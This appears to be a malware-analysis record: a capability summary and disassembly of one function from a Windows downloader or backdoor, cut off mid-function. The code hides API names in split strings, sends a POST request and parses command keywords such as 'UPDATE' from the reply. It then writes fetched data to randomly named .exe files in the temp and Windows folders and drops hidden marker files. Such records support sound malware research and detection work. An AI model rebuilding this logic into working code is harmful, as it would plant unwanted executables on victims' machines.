Function at 0x4020ee
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Delete file
Get common file path
Get file size
Link many functions at runtime
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5a79c
call fcn.00405740
lea eax, [ebp - 0xc59c]
mov dword [ebp - 4], edx
push ebx
push esi
push edi
push 0x4077d8
mov dword [ebp - 0x10], ecx
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
call fcn.00401590
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, 0x4074b4
push eax
lea eax, [ebp - 0xc59c]
push dword [ebp - 0x10]
push 0x4077d4
push esi
push 0x4077d0
push str._s_s_s_sa_df
push eax
call edi
xor ebx, ebx
push 0x12b
lea eax, [ebp - 0x1464]
push ebx
push eax
mov byte [ebp - 5], bl
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x1464]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
push 0x320
call dword [sym.imp.MSVCRT.dll_malloc]
push 0x31f
push ebx
push eax
mov dword [ebp - 0xc], eax
call sub.MSVCRT.dll_memset
add esp, 0x3c
lea eax, [ebp - 0x2498]
push str.c:win
push str._sdows_
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x2498]
push eax
push dword [ebp - 0xc]
call edi
push str.rx3456.dat
push dword [ebp - 0xc]
call sub.MSVCRT.dll_strcat
push 0xbb7
lea eax, [ebp - 0x5c08]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x1c
call fcn.00401590
push eax
mov eax, dword [ebp + 8]
push 0x4077b8
push dword [eax]
lea eax, [ebp - 0x5c08]
push 0x4077d8
push str._s_d_s_d
push eax
call edi
add esp, 0x18
lea eax, [ebp - 0x1464]
push dword [ebp + 0x14]
push dword [ebp - 0x10]
push ebx
push esi
push 0x4077a8
push str._s_sc_ds_sl_s
push eax
call edi
lea eax, [ebp - 0x1b08]
push 0x407cd8
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebp + 0x24]
add esp, 0x24
cmp eax, ebx
je 0x402253
push dword [eax + 0x30]
mov ecx, dword [eax + 0xc]
push dword [eax + 0x2c]
push dword [eax + 0x28]
push dword [eax + 0x24]
push dword [eax + 0x1c]
push dword [eax + 0x18]
push dword [eax + 0x10]
push dword [eax + 0x14]
lea eax, [ebp - 0x1b08]
push ecx
push ecx
push str.ck_dc_fb_dc_ms_dc_hi_dc_be_dc_fr_dc_yb_dc_tg_dc_nl_dc_fu_d
push eax
call edi
add esp, 0x30
lea eax, [ebp - 0x1464]
push eax
lea eax, [ebp - 0x5c08]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1b08]
push eax
lea eax, [ebp - 0x5c08]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
cmp dword [ebp + 0x18], ebx
je 0x4022bf
cmp dword [ebp + 0x1c], ebx
je 0x4022bf
push dword [ebp + 0x1c]
lea eax, [ebp - 0x1338]
push 0x407740
push dword [ebp + 0x18]
push 0x40773c
push 0x407738
push str._s_s_shn_s_s
push eax
call edi
lea eax, [ebp - 0x1338]
push eax
lea eax, [ebp - 0x5c08]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x24
push 0x40722c
push 0x407720
lea eax, [ebp - 0xdc0]
push str._s_sT
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
lea eax, [ebp - 0xdc0]
push eax
call esi
push 0x4e1f
lea eax, [ebp - 0x35dac]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x5c08]
mov dword [ebp - 0x14], ebx
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x24
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x5c08]
push str.POST
push ecx
lea ecx, [ebp - 0x35dac]
push ecx
mov ecx, dword [ebp + 0x20]
push dword [ebp + 0x10]
push eax
call fcn.00401951
lea eax, [ebp - 0x1144]
push str.Nel32.
push 0x40770c
push str._sr_sdll
push eax
call edi
lea eax, [ebp - 0x1144]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 0x14
lea eax, [ebp - 0x14c8]
push str.eteF
push 0x4076f4
push str._sl_sileA
push eax
call edi
add esp, 0x10
cmp dword [ebp - 0x14], ebx
jbe 0x403961
push str.blackl
lea eax, [ebp - 0x654]
push str._sabel
push eax
call edi
lea eax, [ebp - 0x654]
push eax
call esi
lea eax, [ebp - 0x654]
push eax
lea eax, [ebp - 0x35dac]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
test eax, eax
lea eax, [ebp - 0x35dac]
push 0x40709c
push eax
setne byte [ebp - 5]
call dword [sym.imp.MSVCRT.dll_strtok]
add esp, 0x20
cmp eax, ebx
je 0x403961
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.MSVCRT.dll__strdup]
push eax
mov dword [ebp + 0x18], eax
call sub.MSVCRT.dll_strlen
pop ecx
cmp eax, 1
pop ecx
jbe 0x40392f
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp + 0x18]
cmp byte [eax + ecx - 1], 0xd
jne 0x40240d
push ecx
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp + 0x18]
mov byte [eax + ecx - 1], bl
push 0x40741c
push dword [ebp + 0x18]
call dword [sym.imp.SHELL32.dll_StrStrA]
cmp eax, ebx
mov dword [ebp + 0x1c], eax
je 0x40378f
inc dword [ebp + 0x1c]
mov byte [eax], bl
push 0x4076d4
push 0x407490
lea eax, [ebp - 0x3fc]
push str._sa_simg
push eax
call edi
lea eax, [ebp - 0x3fc]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x14
cmp eax, 3
jbe 0x402465
lea eax, [ebp - 0x3fc]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
pop ecx
lea eax, [ebp - 0x1018]
push str.shlwapi.dll
push eax
call edi
pop ecx
lea eax, [ebp - 0x848]
pop ecx
push str.StrCmpW
push eax
call edi
pop ecx
lea eax, [ebp - 0x1018]
pop ecx
push eax
call esi
lea ecx, [ebp - 0x848]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x3fc]
push ecx
push dword [ebp + 0x18]
call eax
test al, al
jne 0x402793
lea eax, [ebp - 0x4468]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov byte [ebp + eax - 0x4468], bl
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
lea eax, [eax + eax + 5]
push eax
lea eax, [ebp - 0x4468]
push eax
lea eax, [ebp - 0x1f08]
push str._slgbi__d.exe
push eax
call edi
lea eax, [ebp - 0x1f08]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 0x14
lea eax, [ebp - 0x107c]
push str.el32.d
push str.kern_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x910]
push str.DeleteFileA
push eax
call edi
pop ecx
lea eax, [ebp - 0x107c]
pop ecx
push eax
call esi
lea ecx, [ebp - 0x910]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x1f08]
push ecx
call eax
push 0x40741c
push dword [ebp + 0x1c]
call dword [sym.imp.SHLWAPI.dll_StrPBrkA]
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0x402793
mov byte [eax], bl
mov dword [ebp + 0x14], ebx
call fcn.00404299
lea eax, [ebp - 0x104]
push 0x3c
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x67c0]
add esp, 0xc
mov dword [ebp - 0xd8], eax
lea eax, [ebp - 0x1fd0]
mov dword [ebp - 0xd0], eax
lea eax, [ebp - 0x1590]
push str.kUrl
mov dword [ebp - 0xf4], eax
push str.ternetCra
push 0x40768c
lea eax, [ebp - 0x4c50]
push str._s_sc_sA
push eax
mov dword [ebp - 0x104], 0x3c
mov dword [ebp - 0xd4], 0x3e7
mov dword [ebp - 0xcc], 0xc7
mov dword [ebp - 0xf0], 0x63
call edi
add esp, 0x14
lea eax, [ebp - 0x777c]
push 0x40767c
push str.w_snet
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x4c50]
push eax
lea eax, [ebp - 0x777c]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp + 0x24], eax
lea eax, [ebp - 0x104]
push eax
push ebx
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0x1c]
call dword [ebp + 0x24]
mov eax, dword [ebp + 0x10]
or dword [ebp + 0x24], 0xffffffff
inc eax
lea edx, [ebp + 0x14]
push eax
lea ecx, [ebp - 0x30f8c]
push dword [ebp - 0xd8]
push dword [ebp - 0xf4]
call fcn.00404319
test al, al
je 0x402730
lea eax, [ebp - 0x1f08]
push 0x407464
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp + 0x10], eax
je 0x40268d
push eax
lea eax, [ebp - 0x30f8c]
push dword [ebp + 0x14]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push str.lwapi.d
lea eax, [ebp - 0xeec]
push str.sh_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x9d8]
push str.PathFileExistsA
push eax
call edi
pop ecx
lea eax, [ebp - 0xeec]
pop ecx
push eax
call esi
lea ecx, [ebp - 0x9d8]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp + 0x1f]
test ecx, ecx
je 0x402723
lea ecx, [ebp - 0x1f08]
push ecx
call eax
cmp al, bl
je 0x402723
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x1f08]
push SysReAllocString
push eax
mov dword [ebp + 0x24], ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0x10], eax
je 0x402723
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp eax, ebx
jbe 0x40271a
mov dword [ebp + 0x24], eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor dl, dl
lea ecx, [ebp - 0x1f08]
call fcn.00405348
lea eax, [ebp - 0xc59c]
push 0x407650
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0x1c]
lea eax, [ebp - 0xc59c]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xc59c]
push 0x40764c
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0xf50]
push str.ARTIM
push dword [ebp + 0x14]
push dword [ebp + 0x24]
push str._d_dST_sG
push eax
call edi
lea eax, [ebp - 0xf50]
push eax
lea eax, [ebp - 0xc59c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x1c
push str.RGetper
push 0x407620
lea eax, [ebp - 0x63d8]
push str._sTA_spost
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
lea eax, [ebp - 0x63d8]
push eax
call dword [sym.imp.MSVCRT.dll__wcsupr]
lea eax, [ebp - 0x63d8]
add esp, 0x14
test eax, eax
je 0x402808
lea eax, [ebp - 0x63d8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
mov dword [ebp + 0x14], eax
add eax, 3
and al, 0xfc
call fcn.00405740
mov eax, esp
push ebx
push ebx
push dword [ebp + 0x14]
mov dword [ebp + 0x24], eax
mov byte [eax], bl
push eax
lea eax, [ebp - 0x63d8]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov eax, dword [ebp + 0x24]
push dword [ebp + 0x18]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x402837
push ebx
call dword [sym.imp.MSVCRT.dll_time]
test eax, eax
pop ecx
je 0x402837
push dword [ebp + 0x1c]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xec], eax
push str.HARE
lea eax, [ebp - 0x460]
push str.FBS_sURL
push eax
call edi
lea eax, [ebp - 0x460]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x14
test eax, eax
jne 0x40287a
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x70]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push str.ARELIN
lea eax, [ebp - 0x460]
push str.SH_sK
push eax
call edi
lea eax, [ebp - 0x460]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x14
test eax, eax
jne 0x4028bc
push dword [ebp + 0x1c]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [ebp - 4]
test eax, eax
setne al
mov byte [ecx + 0xe5], al
push str.APTC
push 0x4075d8
lea eax, [ebp - 0x6b8]
push str._s_sHA
push eax
call edi
lea eax, [ebp - 0x6b8]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 0x14
lea eax, [ebp - 0x6b8]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
jne 0x402910
push dword [ebp + 0x1c]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [ebp - 4]
test eax, eax
setne al
mov byte [ecx + 0xe4], al
push str.PLEM
push 0x4075c4
lea eax, [ebp - 0x528]
push str._sM_sODE
push eax
call edi
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
lea eax, [ebp - 0x528]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x1c
test eax, eax
jne 0x402964
push dword [ebp + 0x1c]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [ebp - 4]
test eax, eax
setne al
mov byte [ecx + 0xe6], al
push 0x4075b4
lea eax, [ebp - 0xaa0]
push str.RAz_sG
push eax
call edi
lea eax, [ebp - 0xaa0]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x14
test eax, eax
jne 0x4029a6
push dword [ebp + 0x1c]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [ebp - 4]
test eax, eax
setne al
mov byte [ecx + 0xe7], al
push 0x4075a8
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4029cd
push dword [ebp + 0x1c]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xe8], eax
push 0x4075a4
lea eax, [ebp - 0x10e0]
push str.i_ste
push eax
call edi
lea eax, [ebp - 0x10e0]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x14
test eax, eax
jne 0x402a0f
push dword [ebp + 0x1c]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov ecx, dword [ebp - 4]
test eax, eax
setne al
mov byte [ecx + 0x80], al
push 0x3ff
lea eax, [ebp - 0x4068]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xb68]
push str.nel32.d
push str.ker_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xe88]
push str.GetWindowsDirectoryA
push eax
call edi
pop ecx
lea eax, [ebp - 0xb68]
pop ecx
push eax
call esi
lea ecx, [ebp - 0xe88]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp + 0x1c]
test ecx, ecx
je 0x402a76
lea ecx, [ebp - 0x4068]
push 0x3ff
push ecx
call eax
push 0x3b
lea eax, [ebp - 0x1a4]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x1a4]
mov byte [ebp - 0x1a4], 0x75
push eax
mov byte [ebp - 0x1a3], 0x70
mov byte [ebp - 0x1a2], 0x64
mov byte [ebp - 0x1a1], 0x61
mov byte [ebp - 0x1a0], 0x54
mov byte [ebp - 0x19f], 0x65
call dword [sym.imp.MSVCRT.dll__strupr]
add esp, 0x10
lea eax, [ebp - 0x1a4]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
jne 0x402c36
push ebx
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
lea eax, [ebp - 0x4068]
push eax
lea eax, [ebp - 0x2c98]
push str._sup__d.exe
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0xc30]
push str.el32.d
push str.kern_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xe24]
push str.DeleteFileA
push eax
call edi
pop ecx
lea eax, [ebp - 0xc30]
pop ecx
push eax
call esi
lea ecx, [ebp - 0xe24]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x2c98]
push ecx
call eax
mov edx, dword [ebp + 0x1c]
lea eax, [ebp - 0x2c98]
push ebx
push ebx
push ebx
push eax
xor ecx, ecx
call fcn.004041d5
test eax, eax
je 0x403980
lea eax, [ebp - 0x398]
mov word [ebp - 0x398], 0x77
push eax
mov word [ebp - 0x396], 0x41
mov word [ebp - 0x394], 0x49
mov word [ebp - 0x392], 0x74
mov word [ebp - 0x390], bx
call dword [sym.imp.MSVCRT.dll__wcsupr]
lea eax, [ebp - 0x398]
pop ecx
test eax, eax
je 0x402bdc
lea eax, [ebp - 0x398]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
mov dword [ebp + 0x14], eax
add eax, 3
and al, 0xfc
call fcn.00405740
mov eax, esp
push ebx
push ebx
push dword [ebp + 0x14]
mov dword [ebp + 0x24], eax
mov byte [eax], bl
push eax
lea eax, [ebp - 0x398]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov eax, dword [ebp + 0x24]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x402c36
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp + 0x14], eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
cmp eax, 1
jbe 0x402c36
cmp dword [ebp + 0x14], ebx
jbe 0x402c36
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_ResetEvent]
push dword [ebp + 0x1c]
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0xea60
pop ecx
push eax
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x4c4]
push str.eweerfsdfrrwer
push eax
call edi
pop ecx
lea eax, [ebp - 0x4c4]
pop ecx
push 0x407578
push 0x407574
push 0x407570
push str._s_s_s
push eax
call edi
lea eax, [ebp - 0x4c4]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
lea eax, [ebp - 0x4c4]
push eax
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strcmp
add esp, 0x20
test eax, eax
jne 0x402d45
lea eax, [ebp - 0x4868]
push 0x3ff
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov byte [ebp + eax - 0x4868], bl
push ebx
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
mov esi, eax
call dword [sym.imp.MSVCRT.dll_rand]
add esi, eax
lea eax, [ebp - 0x4868]
push esi
push eax
lea eax, [ebp - 0x3480]
push str._s_run__d.exe
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0xcf8]
push str.el32.d
push str.kern_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xfb4]
push str.DeleteFileA
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
pop ecx
pop ecx
lea eax, [ebp - 0xcf8]
push eax
call esi
lea ecx, [ebp - 0xfb4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x3480]
push ecx
call eax
mov edx, dword [ebp + 0x1c]
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x3480]
push ebx
push eax
xor ecx, ecx
mov dword [ebp - 0x10], ebx
call fcn.004041d5
test eax, eax
jne 0x402d45
xor dl, dl
lea ecx, [ebp - 0x3480]
call fcn.00405348
push 0x40755c
push 0x407558
push 0x407320
lea eax, [ebp - 0x58c]
push str._s_s_sCE
push eax
call edi
lea eax, [ebp - 0x58c]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
lea eax, [ebp - 0x58c]
push eax
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strcmp
add esp, 0x20
test eax, eax
jne 0x402fed
push dword [ebp + 0x1c]
mov dword [ebp + 0x24], ebx
mov dword [ebp + 0x14], ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x402db8
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x14]
push eax
movsx ecx, byte [ecx + eax]
add dword [ebp + 0x24], ecx
inc dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
cmp dword [ebp + 0x14], eax
pop ecx
jb 0x402d9c
push 0x3e7
lea eax, [ebp - 0x3868]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x71c]
push str.nel32.d
push str.ker_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x780]
push str.GetWindowsDirectoryA
push eax
call edi
pop ecx
lea eax, [ebp - 0x71c]
pop ecx
push eax
call esi
lea ecx, [ebp - 0x780]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp + 0x1c]
test ecx, ecx
je 0x402e1f
lea ecx, [ebp - 0x3868]
push 0x3e7
push ecx
call eax
push dword [ebp + 0x24]
lea eax, [ebp - 0x3868]
push eax
lea eax, [ebp - 0x2898]
push str._s_ro12_d.dat
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x7e4]
push str.lwapi.d
push str.sh_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x8ac]
push str.PathFileExistsA
push eax
call edi
pop ecx
lea eax, [ebp - 0x7e4]
pop ecx
push eax
call esi
lea ecx, [ebp - 0x8ac]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp + 0x1f]
test ecx, ecx
je 0x402e8f
lea ecx, [ebp - 0x2898]
push ecx
call eax
cmp al, bl
jne 0x402fed
push str.rnel32.dL
push 0x40752c
lea eax, [ebp - 0x5f0]
push str._s_sl
push eax
call edi
lea eax, [ebp - 0x5f0]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 0x14
lea eax, [ebp - 0x974]
push str.TempPa
push 0x407518
push str._st_sthA
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x974]
push eax
lea eax, [ebp - 0x5f0]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x5050]
push ecx
push 0x3ff
call eax
mov byte [ebp + eax - 0x5050], bl
call dword [sym.imp.MSVCRT.dll_rand]
push ebx
mov dword [ebp + 0x14], eax
call dword [sym.imp.MSVCRT.dll_time]
add eax, dword [ebp + 0x14]
pop ecx
push eax
lea eax, [ebp - 0x5050]
push eax
lea eax, [ebp - 0x3c68]
push str._s_stron__d.exe
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0xa3c]
push str.el32.d
push str.kern_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xb04]
push str.DeleteFileA
push eax
call edi
pop ecx
lea eax, [ebp - 0xa3c]
pop ecx
push eax
call esi
lea ecx, [ebp - 0xb04]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x3c68]
push ecx
call eax
mov edx, dword [ebp + 0x1c]
lea eax, [ebp - 0x20]
push eax
push ebx
lea eax, [ebp - 0x3c68]
push ebx
push eax
xor ecx, ecx
mov dword [ebp - 0x20], ebx
call fcn.004041d5
test eax, eax
jne 0x402f9c
xor dl, dl
lea ecx, [ebp - 0x3c68]
call fcn.00405348
lea eax, [ebp - 0x2898]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x2898]
push 0x407464
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x402fde
push esi
push 0x4074f8
call dword [sym.imp.MSVCRT.dll_fputs]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
lea eax, [ebp - 0x2898]
push 2
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x4074f0
push 0x4074e8
push 0x4074e0
lea eax, [ebp - 0x12d4]
push str._s_s_scEImg
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
lea eax, [ebp - 0x12d4]
push eax
call dword [sym.imp.MSVCRT.dll__wcsupr]
lea eax, [ebp - 0x12d4]
add esp, 0x18
test eax, eax
jne 0x40302c
xor esi, esi
jmp 0x403065
lea eax, [ebp - 0x12d4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
mov dword [ebp + 0x14], eax
add eax, 3
and al, 0xfc
call fcn.00405740
mov esi, esp
lea eax, [ebp - 0x12d4]
push ebx
push ebx
push dword [ebp + 0x14]
mov byte [esi], bl
push esi
push 0xffffffffffffffff
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
push esi
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x4033f0
push dword [ebp + 0x1c]
mov dword [ebp + 0x14], ebx
xor esi, esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x4030a0
mov eax, dword [ebp + 0x1c]
push eax
movsx ecx, byte [esi + eax]
add dword [ebp + 0x14], ecx
inc esi
call sub.MSVCRT.dll_strlen
cmp esi, eax
pop ecx
jb 0x40308a
lea eax, [ebp - 0x3080]
push 0x3e7
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov byte [ebp + eax - 0x3080], bl
lea eax, [ebp - 0x3080]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x2498]
push str._s_rim35_d.dat
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x2498]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4033f0
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
cmp eax, 4
pop ecx
jbe 0x4033f0
lea eax, [ebp - 0x7390]
mov esi, 0x3ff
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov byte [ebp + eax - 0x7390], bl
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
push dword [ebp + 0x1c]
mov esi, eax
mov byte [esi], 0x72
mov byte [esi + 1], 0x5f
call sub.MSVCRT.dll_strlen
mov ecx, dword [ebp + 0x1c]
push ecx
mov al, byte [eax + ecx - 2]
mov byte [esi + 2], al
call sub.MSVCRT.dll_strlen
mov ecx, dword [ebp + 0x1c]
add esp, 0xc
mov al, byte [eax + ecx - 3]
push esi
mov byte [esi + 2], al
mov byte [esi + 4], 0x2e
mov byte [esi + 5], 0x65
mov byte [esi + 6], 0x78
mov byte [esi + 7], 0x65
mov byte [esi + 8], bl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4031ac
push str.el32.d
lea eax, [ebp - 0xbcc]
push str.kern_sll
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xc94]
push str.DeleteFileA
push eax
call edi
pop ecx
lea eax, [ebp - 0xbcc]
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
lea ecx, [ebp - 0xc94]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
call eax
push dword [ebp + 0x1c]
mov dword [ebp + 0x24], ebx
mov dword [ebp + 0x14], ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x403390
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
cmp byte [eax], 0x7c
jne 0x4031d3
mov dword [ebp + 0x24], eax
push dword [ebp + 0x1c]
inc dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
cmp dword [ebp + 0x14], eax
pop ecx
jb 0x4031c3
cmp dword [ebp + 0x24], ebx
je 0x403390
mov eax, dword [ebp + 0x24]
mov dword [ebp + 0x14], ebx
mov byte [eax], bl
call fcn.00404299
lea eax, [ebp - 0xc8]
push 0x3c
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x152c]
add esp, 0xc
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x6ba8]
